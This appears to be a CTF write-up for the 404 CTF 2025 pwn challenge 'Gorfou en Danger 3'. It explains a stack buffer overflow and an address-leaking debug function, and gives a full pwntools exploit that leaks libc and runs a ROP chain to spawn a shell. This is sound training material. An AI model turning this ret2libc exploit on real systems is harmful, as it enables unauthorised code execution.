404 CTF 2025 - Gorfou en Danger 3

Introduction
This challenge is a classic pwn problem involving a buffer overflow on an x86_64 binary. The goal is to exploit a buffer overflow vulnerability to get a shell and retrieve the flag.
Program Analysis
Looking at the source code (main.c
), the vulnerability is easy to spot:
void take_command() {
char command[0x100];
printf("> ");
read(0, command, 0x130);
printf("Commande inconnue\n");
}
The program allocates a buffer of size 0x100
(256 bytes) but reads 0x130
(304 bytes) from stdin, creating a 48-byte overflow.
Another interesting function is debug_info()
which leaks memory addresses:
void debug_info(void) {
printf("main address : %p\n", &main);
printf("printf address : %p\n", *(uint64_t *)0x403008);
void* local_var = NULL;
printf("Stack address : %p\n", &local_var);
return;
}
This function gives us:
- The address of
main
- The address of
printf
(in libc) - A stack address
The main loop is:
int main(void) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
menu();
printf("Terminal de contrôle à distance du vaisseau de transport Pascal\n");
while (1) {
take_command();
}
return 0;
}
Exploitation Strategy
The exploitation is done in two steps:
- Overflow the buffer to call
debug_info
and leak the address ofprintf
to compute the libc base. - Overflow again to execute a ROP chain that calls
system("/bin/sh")
.
Full Exploit
Here is the full exploit used to solve the challenge:
from pwn import *
context.arch = 'amd64'
exe = context.binary = ELF('./chall')
libc = ELF('./libc.so.6')
ld = ELF('./ld-linux-x86-64.so.2')
host = args.HOST or 'challenges.404ctf.fr'
port = int(args.PORT or 32465)
if args.LOCAL_LIBC:
libc = exe.libc
elif args.LOCAL:
library_path = libcdb.download_libraries('libc.so.6')
if library_path:
exe = context.binary = ELF.patch_custom_libraries(exe.path, library_path)
libc = exe.libc
else:
libc = ELF('libc.so.6')
else:
libc = ELF('libc.so.6')
gdbscript = '''
break *0x400806
continue
'''.format(**locals())
def start_local(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
OFFSET = 264
DEBUG_INFO = 0x4004ed
MAIN_ADDR = 0x400584
printf_offset = libc.sym["printf"]
io = start()
io.recvuntil(b"> ")
payload = b"A" * OFFSET + p64(DEBUG_INFO) + p64(MAIN_ADDR)
io.send(payload)
io.recvuntil(b"printf address : ")
leaked_address = int(io.recvline().strip(), 16)
log.info(f"Leaked printf address: {hex(leaked_address)}")
libc.address = leaked_address - printf_offset
system_address = libc.sym["system"]
binsh_address = next(libc.search(b"/bin/sh"))
log.info(f"Libc base: {hex(libc.address)}")
log.info(f"System address: {hex(system_address)}")
log.info(f"Binsh address: {hex(binsh_address)}")
pop_rdi = next(libc.search(asm("pop rdi; ret")))
log.info(f"Pop rdi address: {hex(pop_rdi)}")
ret = next(libc.search(asm("ret")))
log.info(f"Ret gadget: {hex(ret)}")
io.recvuntil(b"> ")
rop_chain = p64(pop_rdi) + p64(binsh_address) + p64(ret) + p64(system_address)
payload = b"A" * OFFSET + rop_chain
io.send(payload)
io.interactive()
io.close()
Step 1: Leak addresses
We first call debug_info
to leak the address of printf
:
io.recvuntil(b"> ")
payload = b"A" * 264 + p64(DEBUG_INFO) + p64(MAIN_ADDR)
io.send(payload)
io.recvuntil(b"printf address : ")
leaked_address = int(io.recvline().strip(), 16)
We fill the buffer with 264 bytes, then add the address of debug_info
and main
. This calls debug_info
and then returns to main
so the program continues.
Step 2: Calculate important addresses
With the leaked printf
address, we can compute the libc base and find the addresses of other useful functions and gadgets:
libc.address = leaked_address - printf_offset
system_address = libc.sym["system"]
binsh_address = next(libc.search(b"/bin/sh"))
pop_rdi = next(libc.search(asm("pop rdi; ret")))
ret = next(libc.search(asm("ret")))
Step 3: Execute the ROP chain
We build a ROP chain to call system("/bin/sh")
:
io.recvuntil(b"> ")
rop_chain = p64(pop_rdi) + p64(binsh_address) + p64(ret) + p64(system_address)
payload = b"A" * 264 + rop_chain
io.send(payload)
io.interactive()
The ROP chain:
pop rdi
: puts the address of “/bin/sh” in RDI (first argument for x86_64 calling convention)binsh_address
: address of “/bin/sh” string in libcret
: stack alignment gadget (sometimes required)system_address
: address of the system function
Challenges and Solutions
The main challenge was finding the correct gadgets in libc. Dynamic gadget search can sometimes fail, so it’s important to have hardcoded offsets as a backup or try different methods to find gadgets.
Another challenge was returning after calling debug_info
. Returning to main
ensures the program continues and allows us to exploit the buffer overflow again.